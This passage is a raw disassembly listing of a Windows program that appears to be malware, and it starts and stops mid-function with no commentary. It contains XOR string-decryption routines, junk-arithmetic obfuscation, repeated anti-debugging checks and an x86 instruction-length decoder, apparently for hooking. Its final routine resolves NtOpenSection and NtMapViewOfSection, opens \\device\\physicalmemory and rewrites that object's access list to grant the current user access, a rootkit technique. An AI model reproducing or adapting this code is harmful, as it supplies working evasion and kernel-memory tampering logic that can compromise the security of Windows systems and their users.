loc_4019FA:				; CODE XREF: .text:004019DBj
		cmp	ebx, [ebp+14h]
		jl	short loc_4019DD
		lea	edi, [ebp-6]
		lea	esi, aXd9_0	; " xd9"
		mov	ecx, 5
		rep movsb
		xor	eax, eax


loc_401A11:				; CODE XREF: .text:004019F7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 2Eh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B2A8
		lea	eax, ds:433080h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 8Ah
		xor	edi, edi
		jmp	short loc_401A66
; ---------------------------------------------------------------------------


loc_401A4C:				; CODE XREF: .text:00401A68j
		mov	eax, dword_43B2A8
		add	eax, edi
		lea	eax, ds:433080h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0CCh
		mov	[eax], dl
		inc	edi


loc_401A66:				; CODE XREF: .text:00401A4Aj
		cmp	edi, esi
		jl	short loc_401A4C
		mov	eax, dword_43B2A8
		add	eax, esi
		mov	byte ptr ds:dword_433080[eax], 0
		xor	edi, edi
		mov	edi, dword_43B2A8
		add	dword_43B2A8, 2
		mov	eax, dword_43B2A8
		lea	eax, [eax+esi+4]
		mov	dword_43B2A8, eax
		add	dword_43B2A8, 3
		cmp	dword_43B2A8, 0DCEh
		jle	short loc_401AB0
		and	dword_43B2A8, 0


loc_401AB0:				; CODE XREF: .text:00401AA7j
		mov	dword ptr [ebp-0Ch], 20Ah
		lea	eax, dword_433080[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AC1	proc near		; CODE XREF: sub_4056EE+47p
					; sub_4063A9+40Bp ...

var_1E		= byte ptr -1Eh
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_6], 76DDh
		movzx	eax, [ebp+var_6]
		imul	eax, 58BEh
		mov	[ebp+var_6], ax
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	sub_40C2FC	; CreateFileA
		mov	ebx, eax
		mov	[ebp+var_1], 0F1h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_401B40
		lea	edi, [ebp+var_19]
		lea	esi, aA_	; "<A*_"
		mov	ecx, 5
		rep movsb
		cmp	[ebp+arg_4], 0
		jz	short loc_401B2C
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0


loc_401B2C:				; CODE XREF: sub_401AC1+63j
		lea	edi, [ebp+var_1E]
		lea	esi, aB61	; "B 61"
		mov	ecx, 5
		rep movsb
		xor	eax, eax
		jmp	short loc_401BAD
; ---------------------------------------------------------------------------


loc_401B40:				; CODE XREF: sub_401AC1+4Dj
		push	0
		push	ebx
		call	sub_40C1A0	; GetFileSize
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], 3E6Dh
		movzx	eax, [ebp+var_4]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_4], ax
		mov	eax, [ebp+var_C]
		add	eax, 10h
		push	eax
		push	40h
		call	sub_40C2CC	; LocalAlloc
		mov	[ebp+var_10], eax
		call	sub_40C2B4	; IsDebuggerPresent
		push	0
		cmp	[ebp+arg_4], 0
		jz	short loc_401B85
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax
		jmp	short loc_401B8B
; ---------------------------------------------------------------------------


loc_401B85:				; CODE XREF: sub_401AC1+BAj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_18], eax


loc_401B8B:				; CODE XREF: sub_401AC1+C2j
		push	[ebp+var_18]
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	ebx
		call	sub_40C308	; ReadFile
		call	sub_40C1F4	; GetProcessHeap
		push	ebx
		call	sub_40C1DC	; CloseHandle
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	eax, [ebp+var_10]


loc_401BAD:				; CODE XREF: sub_401AC1+7Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401AC1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 2Eh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B2C0
		lea	eax, ds:410770h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 8Ah
		xor	edi, edi
		jmp	short loc_401C02
; ---------------------------------------------------------------------------


loc_401BE8:				; CODE XREF: .text:00401C04j
		mov	eax, dword_43B2C0
		add	eax, edi
		lea	eax, ds:410770h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0CCh
		mov	[eax], dl
		inc	edi


loc_401C02:				; CODE XREF: .text:00401BE6j
		cmp	edi, esi
		jl	short loc_401BE8
		mov	eax, dword_43B2C0
		add	eax, esi
		mov	byte ptr ds:dword_410770[eax], 0
		xor	edi, edi
		mov	edi, dword_43B2C0
		add	dword_43B2C0, 2
		mov	eax, dword_43B2C0
		lea	eax, [eax+esi+4]
		mov	dword_43B2C0, eax
		add	dword_43B2C0, 3
		cmp	dword_43B2C0, 0DCEh
		jle	short loc_401C4C
		and	dword_43B2C0, 0


loc_401C4C:				; CODE XREF: .text:00401C43j
		mov	dword ptr [ebp-0Ch], 20Ah
		lea	eax, dword_410770[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401C5D	proc near		; CODE XREF: sub_4056EE+691p
					; sub_4096E4+C64p

var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 76DDh
		movzx	eax, [ebp+var_4]
		imul	eax, 58BEh
		mov	[ebp+var_4], ax
		mov	[ebp+var_1], 0F1h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		mov	ebx, [ebp+arg_4]
		jmp	short loc_401CD6
; ---------------------------------------------------------------------------


loc_401C90:				; CODE XREF: sub_401C5D+80j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0Dh
		jnz	short loc_401CD5
		lea	edi, [ebp+var_9]
		lea	esi, aA__0	; "<A*_"
		mov	ecx, 5
		rep movsb
		mov	eax, [ebp+arg_4]
		mov	edx, ebx
		sub	edx, eax
		push	edx
		mov	edx, [ebp+arg_0]
		add	edx, eax
		push	edx
		push	[ebp+arg_8]
		call	sub_40C674
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		mov	byte ptr [edx+eax], 0
		mov	eax, ebx
		add	eax, 2
		jmp	short loc_401D44
; ---------------------------------------------------------------------------


loc_401CD5:				; CODE XREF: sub_401C5D+3Aj
		inc	ebx


loc_401CD6:				; CODE XREF: sub_401C5D+31j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_401C90
		cmp	[ebp+arg_4], 0
		jz	short loc_401D0B
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_401D0B
		mov	eax, ebx
		dec	eax
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 0Ah
		jnz	short loc_401D0B
		call	sub_40C224	; GetVersion
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		inc	eax
		jmp	short loc_401D44
; ---------------------------------------------------------------------------


loc_401D0B:				; CODE XREF: sub_401C5D+86j
					; sub_401C5D+8Fj ...
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_40C3BC	; lstrlenA
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_401D42
		mov	[ebp+var_8], 0B3Ch
		inc	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_8]
		call	sub_40C138
		call	sub_40C1F4	; GetProcessHeap
		mov	eax, [ebp+arg_4]
		add	eax, ebx
		jmp	short loc_401D44
; ---------------------------------------------------------------------------


loc_401D42:				; CODE XREF: sub_401C5D+BEj
		xor	eax, eax


loc_401D44:				; CODE XREF: sub_401C5D+76j
					; sub_401C5D+ACj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401C5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 0CEh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B2D4
		lea	eax, ds:4361E0h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 23Dh
		xor	edi, edi
		jmp	short loc_401D99
; ---------------------------------------------------------------------------


loc_401D7F:				; CODE XREF: .text:00401D9Bj
		mov	eax, dword_43B2D4
		add	eax, edi
		lea	eax, ds:4361E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0E9h
		mov	[eax], dl
		inc	edi


loc_401D99:				; CODE XREF: .text:00401D7Dj
		cmp	edi, esi
		jl	short loc_401D7F
		mov	dword ptr [ebp-0Ch], 205h
		mov	eax, dword_43B2D4
		add	eax, esi
		mov	byte ptr ds:dword_4361E0[eax], 0
		xor	edi, edi
		mov	edi, dword_43B2D4
		add	dword_43B2D4, 2
		mov	eax, dword_43B2D4
		lea	eax, [eax+esi+1]
		mov	dword_43B2D4, eax
		cmp	eax, 0DD5h
		jle	short loc_401DDE
		and	dword_43B2D4, 0


loc_401DDE:				; CODE XREF: .text:00401DD5j
		lea	eax, dword_4361E0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401DE8	proc near		; CODE XREF: sub_402936+74p

var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_2], 6420h
		inc	[ebp+var_2]
		inc	dword_43B228
		call	sub_40C1F4	; GetProcessHeap
		mov	ebx, [ebp+arg_0]
		and	ds:dword_40DFC0, 0
		and	ds:dword_41D914, 0
		and	ds:dword_41D92C, 0
		and	ds:dword_40F1DC, 0
		mov	ds:dword_41A6B0, 4
		mov	ds:dword_413CAC, 4


loc_401E39:				; CODE XREF: sub_401DE8+122j
					; sub_401DE8+143j ...
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_413CA8,	al
		movzx	eax, ds:byte_413CA8
		or	eax, eax
		jl	loc_4020B1
		cmp	eax, 0FFh
		jg	loc_4020B1
		jmp	off_43B2E4[eax*4]
; ---------------------------------------------------------------------------
		call	sub_40C188	; GetCurrentProcessId


loc_401E69:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		or	byte ptr ds:dword_41D914, 40h
		jmp	loc_4020B1
; ---------------------------------------------------------------------------
		inc	dword_43B228


loc_401E7B:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		xor	eax, eax
		cmp	byte ptr [ebx],	20h
		setnz	al
		dec	eax
		and	eax, 4
		inc	eax
		mov	[ebp+var_10], eax
		add	ds:dword_41D92C, eax
		jmp	loc_4020B1
; ---------------------------------------------------------------------------


loc_401E96:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		or	byte ptr ds:dword_41D914, 40h
		test	byte ptr [ebx],	38h
		jnz	loc_4020B1
		lea	edi, [ebp+var_9]
		lea	esi, byte_43B2D8
		xor	ecx, ecx
		inc	ecx
		rep movsb


loc_401EB4:				; CODE XREF: sub_401DE8+75j
					; DATA XREF: .data:0043B2F4o ...
		test	ds:byte_413CA8,	1
		jz	short loc_401ECD
		mov	eax, ds:dword_41A6B0
		add	ds:dword_41D92C, eax
		jmp	loc_4020B1
; ---------------------------------------------------------------------------


loc_401ECD:				; CODE XREF: sub_401DE8+D3j
		inc	ds:dword_41D92C
		jmp	loc_4020B1
; ---------------------------------------------------------------------------


loc_401ED8:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		inc	ds:dword_41D92C
		jmp	loc_4020B1
; ---------------------------------------------------------------------------
		inc	dword_43B228


loc_401EE9:				; CODE XREF: sub_401DE8+75j
					; DATA XREF: .data:0043B37Co ...
		test	byte ptr ds:dword_41D914, 10h
		jz	short loc_401EF9
		xor	eax, eax
		jmp	loc_402246
; ---------------------------------------------------------------------------


loc_401EF9:				; CODE XREF: sub_401DE8+108j
		or	byte ptr ds:dword_41D914, 10h
		mov	al, ds:byte_413CA8
		mov	ds:byte_40F1E8,	al
		jmp	loc_401E39
; ---------------------------------------------------------------------------


loc_401F0F:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		test	byte ptr ds:dword_41D914, 4
		jz	short loc_401F1F
		xor	eax, eax
		jmp	loc_402246
; ---------------------------------------------------------------------------


loc_401F1F:				; CODE XREF: sub_401DE8+12Ej
		call	sub_40C194	; GetCurrentThreadId
		or	byte ptr ds:dword_41D914, 4
		jmp	loc_401E39
; ---------------------------------------------------------------------------


loc_401F30:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		test	byte ptr ds:dword_41D914, 8
		jz	short loc_401F40
		xor	eax, eax
		jmp	loc_402246
; ---------------------------------------------------------------------------


loc_401F40:				; CODE XREF: sub_401DE8+14Fj
		call	sub_40C188	; GetCurrentProcessId
		or	byte ptr ds:dword_41D914, 8
		mov	al, ds:byte_413CA8
		mov	ds:byte_41EBD0,	al
		jmp	loc_401E39
; ---------------------------------------------------------------------------


loc_401F5B:				; CODE XREF: sub_401DE8+75j
					; DATA XREF: .data:0043B47Co
		test	byte ptr ds:dword_41D914, 1
		jz	short loc_401F6B
		xor	eax, eax
		jmp	loc_402246
; ---------------------------------------------------------------------------


loc_401F6B:				; CODE XREF: sub_401DE8+17Aj
		call	sub_40C1F4	; GetProcessHeap
		or	byte ptr ds:dword_41D914, 1
		mov	ds:dword_41A6B0, 2
		jmp	loc_401E39
; ---------------------------------------------------------------------------


loc_401F86:				; CODE XREF: sub_401DE8+75j
					; DATA XREF: .data:0043B480o
		test	byte ptr ds:dword_41D914, 2
		jz	short loc_401F96
		xor	eax, eax
		jmp	loc_402246
; ---------------------------------------------------------------------------


loc_401F96:				; CODE XREF: sub_401DE8+1A5j
		or	byte ptr ds:dword_41D914, 2
		mov	ds:dword_413CAC, 2
		jmp	loc_401E39
; ---------------------------------------------------------------------------
		inc	dword_43B228


loc_401FB2:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		inc	ds:dword_41D92C
		or	byte ptr ds:dword_41D914, 40h
		jmp	loc_4020B1
; ---------------------------------------------------------------------------


loc_401FC4:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		mov	eax, ds:dword_41A6B0
		add	ds:dword_41D92C, eax
		or	byte ptr ds:dword_41D914, 40h
		jmp	loc_4020B1
; ---------------------------------------------------------------------------


loc_401FDB:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		mov	eax, ds:dword_41A6B0
		add	eax, 2
		add	ds:dword_41D92C, eax
		jmp	loc_4020B1
; ---------------------------------------------------------------------------


loc_401FEE:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		mov	eax, ds:dword_413CAC
		add	ds:dword_40F1DC, eax
		jmp	loc_4020B1
; ---------------------------------------------------------------------------


loc_401FFE:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		mov	eax, ds:dword_41A6B0
		add	ds:dword_41D92C, eax
		jmp	loc_4020B1
; ---------------------------------------------------------------------------
		inc	dword_43B228


loc_402014:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		add	ds:dword_41D92C, 2
		jmp	loc_4020B1
; ---------------------------------------------------------------------------


loc_402020:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		add	ds:dword_41D92C, 3
		jmp	loc_4020B1
; ---------------------------------------------------------------------------


loc_40202C:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+281j
					; DATA XREF: ...
		xor	eax, eax
		jmp	loc_402246
; ---------------------------------------------------------------------------


loc_402033:				; CODE XREF: sub_401DE8+75j
					; DATA XREF: .data:0043B320o
		or	byte ptr ds:dword_41D914, 20h
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_42EBE0,	al
		movzx	eax, ds:byte_42EBE0
		or	eax, eax
		jl	short loc_4020AA
		cmp	eax, 0Bh
		jg	short loc_40205B
		jmp	off_43B6E4[eax*4]
; ---------------------------------------------------------------------------


loc_40205B:				; CODE XREF: sub_401DE8+26Aj
		cmp	eax, 80h
		jl	short loc_4020AA
		cmp	eax, 0CFh
		jg	short loc_4020AA
		jmp	off_43B514[eax*4]
; ---------------------------------------------------------------------------
		call	sub_40C2B4	; IsDebuggerPresent


loc_402075:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+26Cj ...
		or	byte ptr ds:dword_41D914, 40h
		mov	[ebp+var_15], 57h
		add	[ebp+var_15], 11h
		jmp	short loc_4020B1
; ---------------------------------------------------------------------------
		inc	dword_43B228
		jmp	short loc_4020B1
; ---------------------------------------------------------------------------


loc_40208E:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+26Cj ...
		mov	eax, ds:dword_41A6B0
		add	ds:dword_41D92C, eax
		jmp	short loc_4020B1
; ---------------------------------------------------------------------------


loc_40209B:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+26Cj ...
		inc	ds:dword_41D92C
		or	byte ptr ds:dword_41D914, 40h
		jmp	short loc_4020B1
; ---------------------------------------------------------------------------


loc_4020AA:				; CODE XREF: sub_401DE8+75j
					; sub_401DE8+265j ...
		xor	eax, eax
		jmp	loc_402246
; ---------------------------------------------------------------------------


loc_4020B1:				; CODE XREF: sub_401DE8+64j
					; sub_401DE8+6Fj ...
		inc	dword_43B228
		test	byte ptr ds:dword_41D914, 40h
		jz	loc_4021CA
		mov	eax, dword_43B2D9
		mov	[ebp+var_10+2],	eax
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_42FD00,	al
		call	sub_40C1B8	; RtlGetLastWin32Error
		movzx	eax, ds:byte_42FD00
		and	eax, 0C0h
		mov	[ebp+var_9], al
		movzx	eax, ds:byte_42FD00
		and	eax, 7
		mov	[ebp+var_A], al
		movzx	eax, [ebp+var_9]
		cmp	eax, 0C0h
		jz	loc_4021CA
		call	sub_40C1B8	; RtlGetLastWin32Error
		cmp	[ebp+var_9], 40h
		jnz	short loc_402117
		inc	ds:dword_40F1DC


loc_402117:				; CODE XREF: sub_401DE8+327j
		call	sub_40C188	; GetCurrentProcessId
		movzx	eax, [ebp+var_9]
		cmp	eax, 80h
		jnz	short loc_402132
		mov	eax, ds:dword_413CAC
		add	ds:dword_40F1DC, eax


loc_402132:				; CODE XREF: sub_401DE8+33Dj
		call	sub_40C224	; GetVersion
		cmp	ds:dword_413CAC, 2
		jnz	short loc_40215F
		mov	[ebp+var_14], 233Fh
		inc	[ebp+var_14]
		cmp	[ebp+var_9], 0
		jnz	short loc_4021CA
		cmp	[ebp+var_A], 6
		jnz	short loc_4021CA
		add	ds:dword_40F1DC, 2
		jmp	short loc_4021CA
; ---------------------------------------------------------------------------


loc_40215F:				; CODE XREF: sub_401DE8+356j
		call	sub_40C218	; GetTickCount
		cmp	[ebp+var_A], 4
		jnz	short loc_4021A6
		lea	edi, [ebp+var_10]
		lea	esi, byte_43B2DD
		xor	ecx, ecx
		inc	ecx
		rep movsb
		or	byte ptr ds:dword_41D914, 80h
		lea	edi, [ebp+var_14+1]
		lea	esi, word_43B2DE
		mov	ecx, 3
		rep movsb
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_41A6AC,	al
		movzx	eax, ds:byte_41A6AC
		and	eax, 7
		mov	[ebp+var_A], al


loc_4021A6:				; CODE XREF: sub_401DE8+380j
		cmp	[ebp+var_A], 5
		jnz	short loc_4021B9
		cmp	[ebp+var_9], 0
		jnz	short loc_4021B9
		add	ds:dword_40F1DC, 4


loc_4021B9:				; CODE XREF: sub_401DE8+3C2j
					; sub_401DE8+3C8j
		mov	byte ptr [ebp+var_10+1], 7
		movzx	eax, byte ptr [ebp+var_10+1]
		imul	eax, 1630h
		mov	byte ptr [ebp+var_10+1], al


loc_4021CA:				; CODE XREF: sub_401DE8+2D6j
					; sub_401DE8+318j ...
		and	ds:dword_40F1E0, 0
		jmp	short loc_4021EB
; ---------------------------------------------------------------------------


loc_4021D3:				; CODE XREF: sub_401DE8+40Ej
		mov	eax, ebx
		inc	ebx
		mov	edx, ds:dword_40F1E0
		mov	al, [eax]
		mov	ds:byte_413CA0[edx], al
		inc	ds:dword_40F1E0


loc_4021EB:				; CODE XREF: sub_401DE8+3E9j
		mov	eax, ds:dword_40F1DC
		cmp	ds:dword_40F1E0, eax
		jb	short loc_4021D3
		mov	[ebp+var_3], 28h
		add	[ebp+var_3], 1
		and	ds:dword_40F1E0, 0
		jmp	short loc_402221
; ---------------------------------------------------------------------------


loc_402209:				; CODE XREF: sub_401DE8+444j
		mov	eax, ebx
		inc	ebx
		mov	edx, ds:dword_40F1E0
		mov	al, [eax]
		mov	ds:byte_439380[edx], al
		inc	ds:dword_40F1E0


loc_402221:				; CODE XREF: sub_401DE8+41Fj
		mov	eax, ds:dword_41D92C
		cmp	ds:dword_40F1E0, eax
		jb	short loc_402209
		call	sub_40C2B4	; IsDebuggerPresent
		inc	dword_43B228
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	ds:dword_40DFC0, eax
		xor	eax, eax
		inc	eax


loc_402246:				; CODE XREF: sub_401DE8+10Cj
					; sub_401DE8+132j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401DE8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43BF4C
		lea	eax, ds:417390h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_402287
; ---------------------------------------------------------------------------


loc_402270:				; CODE XREF: .text:00402289j
		mov	eax, dword_43BF4C
		add	eax, edi
		lea	eax, ds:417390h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 8
		mov	[eax], dl
		inc	edi


loc_402287:				; CODE XREF: .text:0040226Ej
		cmp	edi, esi
		jl	short loc_402270
		mov	eax, dword_43BF4C
		add	eax, esi
		mov	byte ptr ds:dword_417390[eax], 0
		xor	edi, edi
		mov	edi, dword_43BF4C
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_43BF4C, eax
		inc	dword_43BF4C
		cmp	dword_43BF4C, 0DEBh
		jle	short loc_4022C7
		and	dword_43BF4C, 0


loc_4022C7:				; CODE XREF: .text:004022BEj
		lea	eax, dword_417390[edi]
		pop	edi
		pop	esi
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022D1	proc near		; CODE XREF: sub_402B12+15p

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	offset aNtdll_dll ; "ntdll.dll"
		call	sub_40C1D0	; GetModuleHandleA
		mov	edi, eax
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	offset aRtlinitunicode ; "RtlInitUnicodeString"
		push	edi
		call	sub_40C1E8	; GetProcAddress
		mov	ds:dword_42FCF8, eax
		call	sub_40C2B4	; IsDebuggerPresent
		push	offset aNtunmapviewofs ; "NtUnmapViewOfSection"
		push	edi
		call	sub_40C1E8	; GetProcAddress
		mov	ds:dword_41C848, eax
		push	offset aNtopensection ;	"NtOpenSection"
		push	edi
		call	sub_40C1E8	; GetProcAddress
		mov	ds:dword_41A6B8, eax
		push	offset aNtmapviewofsec ; "NtMapViewOfSection"
		push	edi
		call	sub_40C1E8	; GetProcAddress
		mov	ds:dword_41D924, eax
		push	offset aRtlntstatustod ; "RtlNtStatusToDosError"
		push	edi
		call	sub_40C1E8	; GetProcAddress
		mov	ds:dword_42FCF4, eax
		mov	[ebp+var_1], 8Fh
		movzx	eax, [ebp+var_1]
		imul	eax, 3981h
		mov	[ebp+var_1], al
		pop	edi
		leave
		retn
sub_4022D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402355	proc near		; CODE XREF: sub_402B12+158p

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_72		= word ptr -72h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_5E		= word ptr -5Eh
var_5C		= word ptr -5Ch
var_59		= byte ptr -59h
var_58		= dword	ptr -58h
var_54		= word ptr -54h
var_52		= word ptr -52h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_54], 710Ch
		sub	[ebp+var_54], 1F1Fh
		mov	ax, word_43BFFA
		mov	[ebp+var_72], ax
		push	offset aDevicePhysical ; "\\device\\physicalmemory"
		lea	eax, [ebp+var_68]
		push	eax
		call	ds:dword_42FCF8
		call	sub_40C1F4	; GetProcessHeap
		mov	[ebp+var_18], 18h
		and	[ebp+var_14], 0
		mov	[ebp+var_58], 1546h
		inc	[ebp+var_58]
		lea	eax, [ebp+var_68]
		mov	[ebp+var_10], eax
		call	sub_40C218	; DATA XREF: sub_43F411+2Fo
		mov	[ebp+var_C], 40h
		call	sub_40C188	; GetCurrentProcessId
		and	[ebp+var_8], 0
		mov	[ebp+var_59], 1Ch
		add	[ebp+var_59], 1
		and	[ebp+var_4], 0
		mov	[ebp+var_5C], 3052h
		inc	[ebp+var_5C]
		and	[ebp+var_30], 0
		call	sub_40C224	; GetVersion
		and	[ebp+var_2C], 0
		mov	ebx, 3259h
		mov	eax, 2A8Fh
		mul	ebx
		mov	[ebp+var_7C], eax
		mov	ebx, eax
		mov	[ebp+var_28], 1
		mov	ebx, 0DEEh
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		mov	[ebp+var_24], 1
		lea	eax, aCurrent_user ; "CURRENT_USER"
		mov	[ebp+var_20], eax
		mov	[ebp+var_50], 2
		call	sub_40C224	; GetVersion
		mov	[ebp+var_4C], 1
		mov	ebx, 6B52h
		add	ebx, 702Ah
		and	[ebp+var_48], 0
		call	sub_40C224	; GetVersion
		lea	edi, [ebp+var_44]
		lea	esi, [ebp+var_30]
		mov	ecx, 5
		rep movsd
		mov	[ebp+var_52], 3C8Bh
		movzx	eax, [ebp+var_52]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_52], ax
		lea	eax, [ebp+var_18]
		push	eax
		push	60000h
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_41A6B8
		lea	eax, [ebp+var_78]
		push	eax
		push	0
		lea	eax, [ebp+var_6C]
		push	eax
		push	0
		push	0
		push	4
		push	6
		push	[ebp+var_1C]
		call	sub_40C5D8	; GetSecurityInfo
		mov	[ebp+var_5E], 4CDAh
		movzx	eax, [ebp+var_5E]
		imul	eax, 5882h
		mov	[ebp+var_5E], ax
		lea	eax, [ebp+var_70]
		push	eax
		push	[ebp+var_6C]
		lea	eax, [ebp+var_50]
		push	eax
		mov	eax, 10h
		sub	eax, dword_43BF48
		push	eax
		call	sub_40C5F0	; SetEntriesInAclA
		call	sub_40C188	; GetCurrentProcessId
		push	0
		push	[ebp+var_70]
		push	0
		push	0
		push	4
		push	6
		push	[ebp+var_1C]
		call	sub_40C5E4	; SetSecurityInfo
		push	[ebp+var_1C]
		call	sub_40C1DC	; CloseHandle
		call	sub_40C224	; GetVersion
		lea	eax, [ebp+var_18]
		push	eax
